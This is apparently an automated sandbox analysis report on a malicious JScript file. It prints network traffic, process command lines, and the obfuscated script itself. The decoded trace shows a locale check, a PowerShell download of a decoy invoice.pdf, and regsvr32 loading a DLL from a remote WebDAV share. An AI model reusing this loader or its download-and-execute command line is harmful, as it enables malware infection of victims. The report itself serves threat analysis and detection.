Jan 11, 2025 04:10:30.218137026 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 04:10:30.218173981 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 04:10:30.218300104 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 04:10:30.218331099 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 04:10:30.218364000 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 04:10:30.218399048 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 04:10:30.218436956 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 04:10:30.223081112 CET	672	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7752	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:10:32.043719053 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:10:32.807288885 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:10:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:10:25
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js"
Imagebase:	0x7ff6ac1a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:10:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll
Imagebase:	0x7ff79ad10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:10:26
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:10:26
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:10:31
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	22:10:31
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79ad10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:10:31
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff769400000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:10:31
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:10:32
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:10:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1596,i,4726989255593052370,18027997004832673583,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bdjbzwd() {	bdjbzwd() ➔ undefined
1	scvuqqknf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ylvnywlct = this[xhcxyj + qsmyi + yvddxssc + vnrxm + uesxbnk + oplxxek + cwuemv + dsuknz] ( this[bfdopyeqs + gwjhz + zfwmezsl + yvddxssc + btvdd + xhcxyj + dsuknz][lankq + yvddxssc + uesxbnk + qsmyi + dsuknz + uesxbnk + nqblxwt + yojji + kwfrnjpi + uesxbnk + zfwmezsl + dsuknz] ( bfdopyeqs + gwjhz + zfwmezsl + yvddxssc + btvdd + xhcxyj + dsuknz + ikmfw + gwjhz + dqznsm + uesxbnk + qavhnki + qavhnki ) [xklvaf + uesxbnk + hbsol + xklvaf + uesxbnk + qsmyi + lwgzpi] ( qnrkqa + ajopka + cuurtqzvd + azstms + ztlosstr + lankq + nqsistrd + xklvaf + xklvaf + cuurtqzvd + jfjjc + ugpekpcxm + ztlosstr + nqsistrd + gwjhz + cuurtqzvd + xklvaf + bovaut + lankq + covheuwox + cwuemv + dsuknz + yvddxssc + covheuwox + qavhnki + bnjlpck + wqrmoo + qsmyi + cwuemv + uesxbnk + qavhnki + bovaut + oplxxek + cwuemv + dsuknz + uesxbnk + yvddxssc + cwuemv + qsmyi + dsuknz + btvdd + covheuwox + cwuemv + qsmyi + qavhnki + bovaut + zqbney + covheuwox + zfwmezsl + qsmyi + qavhnki + uesxbnk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( uowvrfarn = 0 ; uowvrfarn < scvuqqknf[qavhnki + uesxbnk + cwuemv + hbsol + dsuknz + dqznsm] ; ++ uowvrfarn )
4	{
5	if ( ylvnywlct == scvuqqknf[uowvrfarn] )
6	{
7	ylvnywlct = true;
8	break ;
9	}
10	}
11	if ( ylvnywlct !== true )
12	this[bfdopyeqs + gwjhz + zfwmezsl + yvddxssc + btvdd + xhcxyj + dsuknz][tuelnjibk + sbasrp + btvdd + dsuknz] ( );
13	this[bfdopyeqs + gwjhz + zfwmezsl + yvddxssc + btvdd + xhcxyj + dsuknz][lankq + yvddxssc + uesxbnk + qsmyi + dsuknz + uesxbnk + nqblxwt + yojji + kwfrnjpi + uesxbnk + zfwmezsl + dsuknz] ( bfdopyeqs + gwjhz + zfwmezsl + yvddxssc + btvdd + xhcxyj + dsuknz + ikmfw + gwjhz + dqznsm + uesxbnk + qavhnki + qavhnki ) [yvddxssc + sbasrp + cwuemv] ( zfwmezsl + tjtmzyp + lwgzpi + bnjlpck + yftaq + zfwmezsl + bnjlpck + xhcxyj + covheuwox + wuglp + uesxbnk + yvddxssc + vnrxm + dqznsm + uesxbnk + qavhnki + qavhnki + ikmfw + uesxbnk + hxmddwngc + uesxbnk + bnjlpck + qcegrhb + lankq + covheuwox + tjtmzyp + tjtmzyp + qsmyi + cwuemv + lwgzpi + bnjlpck + uxgomz + oplxxek + cwuemv + aqrfml + covheuwox + hjlnmrmq + uesxbnk + qcegrhb + bfdopyeqs + uesxbnk + yojji + xklvaf + uesxbnk + beqimh + sbasrp + uesxbnk + vnrxm + dsuknz + bnjlpck + qcegrhb + nqblxwt + sbasrp + dsuknz + mjochtwm + btvdd + qavhnki + uesxbnk + bnjlpck + hldnvbyl + dsuknz + uesxbnk + tjtmzyp + xhcxyj + hldnvbyl + bovaut + btvdd + cwuemv + aqrfml + covheuwox + btvdd + zfwmezsl + uesxbnk + ikmfw + xhcxyj + lwgzpi + ixqcos + bnjlpck + dqznsm + dsuknz + dsuknz + xhcxyj + tihbzf + yftaq + yftaq + vopvlh + edwbml + huoff + ikmfw + vopvlh + cxoyx + huoff + ikmfw + vopvlh + ikmfw + nvmxfc + tkhwc + wrbizrgq + yftaq + btvdd + cwuemv + aqrfml + covheuwox + btvdd + zfwmezsl + uesxbnk + ikmfw + xhcxyj + dqznsm + xhcxyj + uxgomz + nlxuwpqsz + nlxuwpqsz + vnrxm + dsuknz + qsmyi + yvddxssc + dsuknz + bnjlpck + hldnvbyl + dsuknz + uesxbnk + tjtmzyp + xhcxyj + hldnvbyl + bovaut + btvdd + cwuemv + aqrfml + covheuwox + btvdd + zfwmezsl + uesxbnk + ikmfw + xhcxyj + lwgzpi + ixqcos + nlxuwpqsz + nlxuwpqsz + zfwmezsl + tjtmzyp + lwgzpi + bnjlpck + yftaq + zfwmezsl + bnjlpck + cwuemv + uesxbnk + dsuknz + bnjlpck + sbasrp + vnrxm + uesxbnk + bnjlpck + bovaut + bovaut + vopvlh + edwbml + huoff + ikmfw + vopvlh + cxoyx + huoff + ikmfw + vopvlh + ikmfw + nvmxfc + tkhwc + wrbizrgq + ffpeo + delblz + delblz + delblz + delblz + bovaut + lwgzpi + qsmyi + aqrfml + wuglp + wuglp + wuglp + yvddxssc + covheuwox + covheuwox + dsuknz + bovaut + nlxuwpqsz + nlxuwpqsz + zfwmezsl + tjtmzyp + lwgzpi + bnjlpck + yftaq + zfwmezsl + bnjlpck + yvddxssc + uesxbnk + hbsol + vnrxm + aqrfml + yvddxssc + huoff + nvmxfc + bnjlpck + yftaq + vnrxm + bnjlpck + bovaut + bovaut + vopvlh + edwbml + huoff + ikmfw + vopvlh + cxoyx + huoff + ikmfw + vopvlh + ikmfw + nvmxfc + tkhwc + wrbizrgq + ffpeo + delblz + delblz + delblz + delblz + bovaut + lwgzpi + qsmyi + aqrfml + wuglp + wuglp + wuglp + yvddxssc + covheuwox + covheuwox + dsuknz + bovaut + nvmxfc + tkhwc + edwbml + delblz + tkhwc + vopvlh + delblz + cxoyx + nvmxfc + kirtr + vopvlh + nvmxfc + vopvlh + vopvlh + ikmfw + lwgzpi + qavhnki + qavhnki, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll",0,false) ➔ 0
14	}
15	gwjhz = "F";
16	gwjhz = "h";
17	gwjhz = "y";
18	gwjhz = "G";
19	gwjhz = "m";
20	gwjhz = "b";
21	gwjhz = "E";
22	gwjhz = "x";
23	gwjhz = "M";
24	gwjhz = "w";
25	gwjhz = "q";
26	gwjhz = "d";
27	gwjhz = "w";
28	gwjhz = "a";
29	gwjhz = "t";
30	gwjhz = "A";
31	gwjhz = "z";
32	gwjhz = "l";
33	gwjhz = "D";
34	gwjhz = "O";
35	gwjhz = "c";
36	gwjhz = "X";
37	gwjhz = "s";
38	gwjhz = "h";
39	gwjhz = "g";
40	gwjhz = "v";
41	gwjhz = "i";
42	gwjhz = "V";
43	gwjhz = "m";
44	gwjhz = "m";
45	gwjhz = "Z";
46	gwjhz = "P";
47	gwjhz = "t";
48	gwjhz = "M";
49	gwjhz = "W";
50	gwjhz = "d";
51	gwjhz = "j";
52	gwjhz = "s";
53	gwjhz = "J";
54	gwjhz = "S";
55	zfwmezsl = "w";
56	zfwmezsl = "C";
57	zfwmezsl = "L";
58	zfwmezsl = "R";
59	zfwmezsl = "T";
60	zfwmezsl = "y";
61	zfwmezsl = "N";
62	zfwmezsl = "R";
63	zfwmezsl = "h";
64	zfwmezsl = "l";
65	zfwmezsl = "F";
66	zfwmezsl = "r";
67	zfwmezsl = "H";
68	zfwmezsl = "f";
69	zfwmezsl = "N";
70	zfwmezsl = "c";
71	zfwmezsl = "o";
72	zfwmezsl = "q";
73	zfwmezsl = "x";
74	zfwmezsl = "c";
75	ffpeo = "d";
76	ffpeo = "y";
77	ffpeo = "d";
78	ffpeo = "S";
79	ffpeo = "X";
80	ffpeo = "Z";
81	ffpeo = "@";
82	qcegrhb = "E";
83	qcegrhb = "d";
84	qcegrhb = "b";
85	qcegrhb = "X";
86	qcegrhb = "E";
87	qcegrhb = "W";
88	qcegrhb = "X";
89	qcegrhb = "N";
90	qcegrhb = "w";
91	qcegrhb = "P";
92	qcegrhb = "d";
93	qcegrhb = "D";
94	qcegrhb = "X";
95	qcegrhb = "n";
96	qcegrhb = "q";
97	qcegrhb = "i";
98	qcegrhb = "s";
99	qcegrhb = "W";
100	qcegrhb = "U";
101	qcegrhb = "e";
102	qcegrhb = "F";
103	qcegrhb = "L";
104	qcegrhb = "h";
105	qcegrhb = "-";
106	kwfrnjpi = "w";
107	kwfrnjpi = "r";
108	kwfrnjpi = "U";
109	kwfrnjpi = "P";
110	kwfrnjpi = "t";
111	kwfrnjpi = "I";
112	kwfrnjpi = "g";
113	kwfrnjpi = "N";
114	kwfrnjpi = "h";
115	kwfrnjpi = "B";
116	kwfrnjpi = "y";
117	kwfrnjpi = "x";
118	kwfrnjpi = "Y";
119	kwfrnjpi = "O";
120	kwfrnjpi = "O";
121	kwfrnjpi = "W";
122	kwfrnjpi = "e";
123	kwfrnjpi = "U";
124	kwfrnjpi = "c";
125	kwfrnjpi = "N";
126	kwfrnjpi = "J";
127	kwfrnjpi = "t";
128	kwfrnjpi = "S";
129	kwfrnjpi = "H";
130	kwfrnjpi = "A";
131	kwfrnjpi = "j";
132	ixqcos = "D";
133	ixqcos = "t";
134	ixqcos = "a";
135	ixqcos = "C";
136	ixqcos = "H";
137	ixqcos = "Z";
138	ixqcos = "a";
139	ixqcos = "Y";
140	ixqcos = "H";
141	ixqcos = "f";
142	ixqcos = "v";
143	ixqcos = "R";
144	ixqcos = "f";
145	vopvlh = "r";
146	vopvlh = "g";
147	vopvlh = "J";
148	vopvlh = "H";
149	vopvlh = "J";
150	vopvlh = "e";
151	vopvlh = "N";
152	vopvlh = "K";
153	vopvlh = "n";
154	vopvlh = "K";
155	vopvlh = "E";
156	vopvlh = "W";
157	vopvlh = "w";
158	vopvlh = "p";
159	vopvlh = "f";
160	vopvlh = "q";
161	vopvlh = "X";
162	vopvlh = "j";
163	vopvlh = "C";
164	vopvlh = "Z";
165	vopvlh = "I";
166	vopvlh = "y";
167	vopvlh = "A";
168	vopvlh = "e";
169	vopvlh = "1";
170	qsmyi = "p";
171	qsmyi = "W";
172	qsmyi = "N";
173	qsmyi = "z";
174	qsmyi = "E";
175	qsmyi = "o";
176	qsmyi = "b";
177	qsmyi = "X";
178	qsmyi = "x";
179	qsmyi = "n";
180	qsmyi = "t";
181	qsmyi = "b";
182	qsmyi = "Z";
183	qsmyi = "x";
184	qsmyi = "K";
185	qsmyi = "a";
186	nqsistrd = "V";
187	nqsistrd = "R";
188	nqsistrd = "L";
189	nqsistrd = "Z";
190	nqsistrd = "o";
191	nqsistrd = "l";
192	nqsistrd = "M";
193	nqsistrd = "I";
194	nqsistrd = "l";
195	nqsistrd = "v";
196	nqsistrd = "B";
197	nqsistrd = "a";
198	nqsistrd = "h";
199	nqsistrd = "m";
200	nqsistrd = "C";
201	nqsistrd = "M";
202	nqsistrd = "P";
203	nqsistrd = "y";
204	nqsistrd = "M";
205	nqsistrd = "V";
206	nqsistrd = "F";
207	nqsistrd = "s";
208	nqsistrd = "j";
209	nqsistrd = "U";
210	nqsistrd = "K";
211	nqsistrd = "W";
212	nqsistrd = "U";
213	nqsistrd = "X";
214	nqsistrd = "H";
215	nqsistrd = "i";
216	nqsistrd = "j";
217	nqsistrd = "x";
218	nqsistrd = "q";
219	nqsistrd = "g";
220	nqsistrd = "F";
221	nqsistrd = "i";
222	nqsistrd = "W";
223	nqsistrd = "M";
224	nqsistrd = "S";
225	nqsistrd = "y";
226	nqsistrd = "Q";
227	nqsistrd = "e";
228	nqsistrd = "P";
229	nqsistrd = "U";
230	nqblxwt = "u";
231	nqblxwt = "H";
232	nqblxwt = "B";
233	nqblxwt = "y";
234	nqblxwt = "y";
235	nqblxwt = "A";
236	nqblxwt = "n";
237	nqblxwt = "b";
238	nqblxwt = "D";
239	nqblxwt = "x";
240	nqblxwt = "u";
241	nqblxwt = "L";
242	nqblxwt = "t";
243	nqblxwt = "M";
244	nqblxwt = "x";
245	nqblxwt = "s";
246	nqblxwt = "K";
247	nqblxwt = "B";
248	nqblxwt = "U";
249	nqblxwt = "X";
250	nqblxwt = "q";
251	nqblxwt = "r";
252	nqblxwt = "U";
253	nqblxwt = "H";
254	nqblxwt = "W";
255	nqblxwt = "h";
256	nqblxwt = "N";
257	nqblxwt = "m";
258	nqblxwt = "Y";
259	nqblxwt = "n";
260	nqblxwt = "A";
261	nqblxwt = "t";
262	nqblxwt = "l";
263	nqblxwt = "V";
264	nqblxwt = "V";
265	nqblxwt = "l";
266	nqblxwt = "p";
267	nqblxwt = "t";
268	nqblxwt = "O";
269	azstms = "I";
270	azstms = "O";
271	azstms = "N";
272	azstms = "V";
273	azstms = "Y";
274	wqrmoo = "F";
275	wqrmoo = "r";
276	wqrmoo = "b";
277	wqrmoo = "h";
278	wqrmoo = "p";
279	wqrmoo = "N";
280	wqrmoo = "Q";
281	wqrmoo = "s";
282	wqrmoo = "i";
283	wqrmoo = "I";
284	wqrmoo = "y";
285	wqrmoo = "d";
286	wqrmoo = "e";
287	wqrmoo = "Z";
288	wqrmoo = "P";
289	qnrkqa = "J";
290	qnrkqa = "P";
291	qnrkqa = "F";
292	qnrkqa = "H";
293	qnrkqa = "X";
294	qnrkqa = "C";
295	qnrkqa = "Z";
296	qnrkqa = "k";
297	qnrkqa = "S";
298	qnrkqa = "Z";
299	qnrkqa = "F";
300	qnrkqa = "X";
301	qnrkqa = "t";
302	qnrkqa = "E";
303	qnrkqa = "q";
304	qnrkqa = "o";
305	qnrkqa = "H";
306	tkhwc = "z";
307	tkhwc = "e";
308	tkhwc = "g";
309	tkhwc = "r";
310	tkhwc = "J";
311	tkhwc = "w";
312	tkhwc = "I";
313	tkhwc = "n";
314	tkhwc = "0";
315	jfjjc = "x";
316	jfjjc = "h";
317	jfjjc = "A";
318	jfjjc = "U";
319	jfjjc = "O";
320	jfjjc = "L";
321	jfjjc = "q";
322	jfjjc = "u";
323	jfjjc = "W";
324	jfjjc = "F";
325	jfjjc = "I";
326	jfjjc = "T";
327	jfjjc = "K";
328	jfjjc = "x";
329	jfjjc = "Z";
330	jfjjc = "f";
331	jfjjc = "v";
332	jfjjc = "Z";
333	jfjjc = "y";
334	jfjjc = "A";
335	jfjjc = "c";
336	jfjjc = "Z";
337	jfjjc = "V";
338	jfjjc = "S";
339	jfjjc = "C";
340	jfjjc = "i";
341	jfjjc = "E";
342	jfjjc = "z";
343	jfjjc = "F";
344	jfjjc = "I";
345	jfjjc = "J";
346	jfjjc = "J";
347	jfjjc = "N";
348	jfjjc = "l";
349	jfjjc = "c";
350	jfjjc = "y";
351	jfjjc = "N";
352	cuurtqzvd = "E";
353	cuurtqzvd = "Y";
354	cuurtqzvd = "j";
355	cuurtqzvd = "q";
356	cuurtqzvd = "w";
357	cuurtqzvd = "Q";
358	cuurtqzvd = "a";
359	cuurtqzvd = "n";
360	cuurtqzvd = "X";
361	cuurtqzvd = "R";
362	cuurtqzvd = "v";
363	cuurtqzvd = "U";
364	cuurtqzvd = "s";
365	cuurtqzvd = "v";
366	cuurtqzvd = "M";
367	cuurtqzvd = "O";
368	cuurtqzvd = "X";
369	cuurtqzvd = "y";
370	cuurtqzvd = "R";
371	cuurtqzvd = "X";
372	cuurtqzvd = "z";
373	cuurtqzvd = "S";
374	cuurtqzvd = "R";
375	cuurtqzvd = "K";
376	cuurtqzvd = "m";
377	cuurtqzvd = "k";
378	cuurtqzvd = "J";
379	cuurtqzvd = "b";
380	cuurtqzvd = "B";
381	cuurtqzvd = "E";
382	cuurtqzvd = "g";
383	cuurtqzvd = "Q";
384	cuurtqzvd = "s";
385	cuurtqzvd = "n";
386	cuurtqzvd = "E";
387	cuurtqzvd = "s";
388	cuurtqzvd = "n";
389	cuurtqzvd = "o";
390	cuurtqzvd = "h";
391	cuurtqzvd = "V";
392	cuurtqzvd = "E";
393	hxmddwngc = "h";
394	hxmddwngc = "z";
395	hxmddwngc = "H";
396	hxmddwngc = "w";
397	hxmddwngc = "A";
398	hxmddwngc = "a";
399	hxmddwngc = "Y";
400	hxmddwngc = "C";
401	hxmddwngc = "q";
402	hxmddwngc = "w";
403	hxmddwngc = "i";
404	hxmddwngc = "h";
405	hxmddwngc = "h";
406	hxmddwngc = "Y";
407	hxmddwngc = "i";
408	hxmddwngc = "U";
409	hxmddwngc = "w";
410	hxmddwngc = "V";
411	hxmddwngc = "g";
412	hxmddwngc = "I";
413	hxmddwngc = "W";
414	hxmddwngc = "x";
415	wuglp = "e";
416	wuglp = "U";
417	wuglp = "i";
418	wuglp = "g";
419	wuglp = "J";
420	wuglp = "B";
421	wuglp = "h";
422	wuglp = "W";
423	wuglp = "k";
424	wuglp = "T";
425	wuglp = "X";
426	wuglp = "M";
427	wuglp = "R";
428	wuglp = "e";
429	wuglp = "b";
430	wuglp = "L";
431	wuglp = "V";
432	wuglp = "D";
433	wuglp = "U";
434	wuglp = "R";
435	wuglp = "l";
436	wuglp = "I";
437	wuglp = "J";
438	wuglp = "w";
439	bfdopyeqs = "w";
440	bfdopyeqs = "c";
441	bfdopyeqs = "K";
442	bfdopyeqs = "K";
443	bfdopyeqs = "q";
444	bfdopyeqs = "W";
445	aqrfml = "Z";
446	aqrfml = "c";
447	aqrfml = "J";
448	aqrfml = "u";
449	aqrfml = "O";
450	aqrfml = "N";
451	aqrfml = "P";
452	aqrfml = "L";
453	aqrfml = "f";
454	aqrfml = "l";
455	aqrfml = "x";
456	aqrfml = "m";
457	aqrfml = "M";
458	aqrfml = "f";
459	aqrfml = "D";
460	aqrfml = "Q";
461	aqrfml = "O";
462	aqrfml = "z";
463	aqrfml = "q";
464	aqrfml = "t";
465	aqrfml = "Z";
466	aqrfml = "u";
